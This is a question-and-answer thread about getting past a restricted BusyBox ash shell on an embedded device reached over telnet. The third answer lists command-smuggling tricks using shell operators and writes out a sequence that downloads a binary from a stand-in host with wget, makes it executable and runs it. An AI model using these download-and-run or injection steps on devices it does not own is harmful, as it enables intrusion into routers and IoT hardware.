Limited BusyBox shell

Question

I'm testing some embedded device, and there is lack of documentation. When I telnet to device, I get only limited shell.

BusyBox v1.19.2 (built-in shell (ash)
Enter 'help' for a list of built-in commands.

# help
Built-in commands:
------------------
        . : [ [[ bg break cd chdir continue echo eval exec exit export
        false fg getopts hash help jobs kill local printf pwd read readonly
        return set shift source test times trap true type ulimit umask
        unset wait

This is limited shell, its not clear, how to get into the full shell?

Answer 1

• The command you need is chsh (change shell) - this is part of the shadow or shadow-utils package.

• You can also manually edit /etc/password to change the shell from /bin/ash to something else:

  BUT => be very careful that the new shell exists or you will lock yourself out !!!

---

You will need to be root to do either of the above.

Answer 2

BusyBox is mainly focused on size-optimizing and commands could be excluded/included during compile time. So, without providing additional informations, it seems to be a very limited set of installed components.

However, it should be clear, that this doesn't mean that the firmware of the device doesn't support specific utilities per se. If this is not flully clear, you should take a look at the FAQ - What is Busybox section. Some cites should make this fully clear:

"Can I enable FTP?" - "We don't know whether Foomatic-9000 firmware comes with Busybox binary with enabled ftpd applet. (If you have access to shell prompt, try running "busybox ftpd --help"). If it does, you probably will be able to enable it. Unfortunately, we don't know how Foomatic-9000 firmware manages starting and stopping of various services (in case they already have ftpd sevice and it is just disabled), or how to create and enable a new service on Foomatic-9000 (if they dont). Try googling for it."

"Can I enable SCP?" - "Busybox-1.23.4 does not have scp applet. However, Foomatic-9000 might have scp installed (say, if they have dropbear installed), and it may be possible to enable it. If not, it may be possible to build and install your own scp tool. Try googling for it."

You should probably focus more on the specific device and installed firmware, than concentrate on the limited set of components linked to Busybox itself.

Answer 3

Unfortunately for you, nowadays most embedded devices (i.e. routers, iot devices, etc..) try to prevent the users to access the inner system so they can't hack or modify it. This is a measure to prevent the work of botnets like mirai, though the protections are not always very effective.

A limited busybox shell is a very common scenario. Luckily, speaking in general, busybox requires an underlying shell if there's any kind of user interface (like telnet or ssh). This means that it may be possible to bypass that shell and run commands on the underlying shell (i.e. /bin/sh is very common).

Before trying to escape the busybox sandbox, you must have in account the following:

• The manufacturer may have modified the busybox shell to patch this techniques
• The underlying shell can be an (full or partial) unprivileged shell. This means that even if you manage to run commands on it, they may not work or tell you that you don't have enough rights.
• The underlying shell may be also another limited shell (not common)

Once you are ready, you can try the following "tricks": (All of the rely on shell operators)

Try things like

echo "Hello World" & <your command>

This will execute your command if:

1. The binary is available (so basically if it's installed in the system)
2. The shell has access to it (privileges)

There are other methods like:

echo "Hello World" `your command`
echo "Hello World" || <your command>

And other variations you can find over the internet or try by yourself.

EDIT: I'm editing to add an example of how you could escape the shell and gain further execution.

echo "Hello World" & wget yourweb.com/yourbinary
echo "Hello World" & chmod yourbinary 
echo "Hello World" & ./yourbinary

or directly ./yourbinary

That's the idea. As for the chmod sorry but I don't remember the exact arguments to give execution permissions.

EDIT2: I've noticed your shell says ash, so probably busybox has been executed from an (automated) script running from ash. In this case you would like to directly run commands on the /bin/ash shell.